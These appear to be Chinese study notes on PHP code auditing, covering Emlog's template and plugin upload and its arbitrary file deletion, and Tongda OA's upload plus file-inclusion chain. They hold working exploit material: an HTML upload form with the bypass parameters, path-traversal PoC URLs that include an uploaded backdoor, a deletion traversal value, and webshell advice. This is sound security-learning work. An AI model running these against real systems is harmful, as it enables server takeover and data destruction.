目录
知识点:
PHP审计-原生开发-文件上传&文件删除-Emlog
PHP审计-原生开发-文件上传&文件包含-通达OA
emlog-文件上传&文件删除
文件安全挖掘点:
1、脚本文件名:upload.php、up.php、upfile.php、del.php、delfile.php、down.php、downfile.php 、read.php、readfile.php
2、应用功能点:下载,上传,读取,删除 --> URL路径 --> 文件地方代码 --> 分析
如果功能点可以作为漏洞的强特征,就可以通过找功能点来找漏洞
3、操作关键字:直接搜索操作类函数或变量:$_FILES move_upload_file ; 还有 上传文件,删除文件,安装文件,上传成功,上传失败等
搜索不到:文件路径也可能写入数据库了
emlog-模板文件上传
搜索函数关键字或应用关键字:
流程:搜$_FILES->template.php->upload_zip->emUnZip流程:搜安装或上传等->template.php->upload_zip->emUnZip
这个路东并不是说文件里面存在上传漏洞,因为在软件、应用程序或网站的开发中,/templates 目录通常是用来存放模板文件的地方。模板文件用于定义数据显示的结构和布局,是一种将内容和表现分离的设计手段。
意思应该上传模板文件存在漏洞
修改参数 tpl 即可更换模板
模板文件存放路径
搜$_FILES
搜索上传
定位到文件 /admin/template.php
搜索安装模板,在 /view/template.php,可以根据 MVC 架构特点,在 /admin/template.php 处理试图
MVC 架构是一种用于设计软件应用的模式,尤其是在图形用户界面(GUI)的应用程序开发中广泛采用。MVC 代表 Model-View-Controller,这三个组件是MVC架构的核心,它们各自承担着不同的职责,使得应用程序的开发、维护和扩展变得更加容易和清晰。
- Model(模型):模型代表的是应用程序的数据结构,通常模型对象负责在数据库中存取数据。它包含了数据的处理逻辑,例如计算或数据校验等。模型是独立于用户界面的,因此模型的改变通常不直接影响视图的显示。模型提供了一种方式来操作应用程序的数据,以及将这些数据转化为有用的信息。
- View(视图):视图是应用程序中用户界面的部分。它负责将数据(即模型)以图形界面的形式展现给用户。视图仅仅展示数据,不包含业务逻辑。换句话说,视图是模型的可视化表示。当模型的状态发生变化时,视图可以更新其展示的内容,反映最新的信息。
- Controller(控制器):控制器是模型与视图之间的协调者。它接收用户的输入(例如,鼠标点击和键盘输入),并决定如何处理这些输入。例如,控制器可以决定响应用户的某个动作来修改模型的状态或更新视图。控制器将用户的输入转化为模型的更新和视图的操作,确保模型和视图的同步。
进入 emDirect() 函数
php
$r = explode('/', $zip->getNameIndex(0), 2);
getNameIndex(0) 方法调用是ZipArchive类的一个功能,它接受一个整数作为参数(在这个例子中是0),这个参数指定了ZIP文件中条目的索引。此方法返回该索引对应的条目的名称,即ZIP文件中第一个文件或文件夹的名称。如果ZIP文件为空或指定的索引不存在,此方法将返回FALSE。
explode('/', $zip->getNameIndex(0), 2) 函数是PHP中用于将字符串拆分为数组的内置函数。这里,它被用来将getNameIndex(0)返回的第一个条目名称按照'/'(正斜杠)分隔符进行分割。参数2表示最多分割为两部分,这意味着如果存在多个'/',只分割第一个,将结果分为两个元素的数组。
php
$dir = isset($r[0]) ? $r[0] . '/' : '';
这行PHP代码是在处理由前一行代码$r = explode('/', zip-\>getNameIndex(0), 2);生成的数组r。具体来说,它在确定并构建一个表示目录路径的字符串。
代码解析如下:
- isset(r\[0\]):这个函数检查数组r中是否有索引为0的元素。由于explode函数至少会返回一个元素的数组(除非传递的是空字符串),通常情况下索引0是存在的。如果zip-\>getNameIndex(0)返回的是以/开头的路径,那么r[0]将是一个空字符串。
- ? r\[0\] . '/':这是三元运算符的中间部分。如果isset(r[0])为true(即r\[0\]存在),那么取出数组r中索引为0的元素,并在其后添加一个正斜杠'/'。这通常用来确保得到的路径是一个目录路径。
- : '':这是三元运算符的最后部分。如果isset(r\[0\])为false(即r[0]不存在),则目录字符串设为一个空字符串。
- dir:这是存储最终目录字符串的变量。如果数组r中存在索引0,那么dir将是该值加上一个尾随正斜杠(表示目录)。如果不存在,dir就是空字符串。
综上所述,这行代码用于从ZIP压缩包中提取的第一个文件(或目录)的路径,获取它的目录部分,并确保这个目录字符串以正斜杠结束。这在处理ZIP文件中的条目时,用于构建路径、创建目录结构或进行路径检查时非常有用。
此处上传模板存在文件上传漏洞且没有过滤。
如何利用?
- 压缩默认模版目录
- 压缩一个带后门模版
- 上传带后门模版压缩包
制作模板压缩包,文件目录如下:
test.php内部是一个后门
上传常规,出现 test 模板
模板压缩包制作可知压缩一下defualt或者下载一个看看目录结构
emlog-插件文件上传
流程:搜$_FILES->plugin.php->upload_zip->emUnZip
流程:搜安装或上传等->plugin.php->upload_zip->emUnZip
定位到 /admin/plugin.php
制作插件压缩包
上传成功
emlog-任意文件删除
流程:搜unlink->data.php->action=dell_all_bak->bak[]
https://www.cnvd.org.cn/flaw/show/CNVD-2021-416331、/admin/data.php?action=dell_all_bak
2、bak[1]=../xxx.php
删除成功!
通达OA-文件上传&文件包含
安装,双击运行即可
安装后的目录
控制中心在 /bin 目录下
Web目录
IDEA打开源码,发现源码加密
解决办法:
- 方法一:找关键字,如上图中,可能在前面,中间,后米娜,之后百度搜索,看看是什么加密,再看看能否解密
- 方法二:直接搜索该OA版本的加密
开始时使用Zend解密出现闪退,原因:(1) 内存不够 (2)代码资源被占用
退出IDEA即可解决
等待IDEA更新索引
流程:找文件名->绕验证P->DEST_UID,UPLOAD_MOD->构ATTACHMENT
文件上传(文件名称):/webroot/ispirit/im/upload.php
流程:搜include_once->gateway.php->url-\>key->$json
文件包含(include_once):/ispirit/interface/gateway.php
这个漏洞的挖掘时是艰难的,项目太大了,需要时间慢慢测试,才发现到upload.php,使用搜索的方式结果太多了。实战中,大型的程序挖掘需要时间。也可以使用动态分析的技术,配合使用。
接收参数 p
经由上述分析,构造符合条件的文件上传:
- 设置P参数不为0
- 设置DEST_UID参数为1
- 设置UPLOAD_MODE参数为1,2,3
- 设置上传文件参数名为ATTACHMENT
php
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name="P" value=1></input>
<input type="text"name="UPLOAD_MODE" value=1></input>
<input type="text" name="DEST_UID" value=1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>
文件监控:file-jiankong.py,方便监控获取文件上传到什么地方
使用:直接放到文件的根目录下,就可以监视该文件夹下的文件变化,可以快速找到文件上传到那个目录了
txt 里面是后门代码
这个文件是不可访问的,没有权限,因为再 Web 目录的外面
思路:配合文件包含后门代码,需要满足参数参数可控,没过滤
php
poc1:/ispirit/interface/gateway.php?json={}&url=/general/../../attach/im/2310/1600449966.1.txt
poc2:/ispirit/interface/gateway.php?json={}&url=/ispirit/../../attach/im/2310/1600449966.1.txt
poc3:/ispirit/interface/gateway.php?json={}&url=/module/../../attach/im/2310/1600449966.1.txt
但是又碰到一个问题
没有回显,解决办法:webshell 连接,把结果写入到别的文件里,再访问。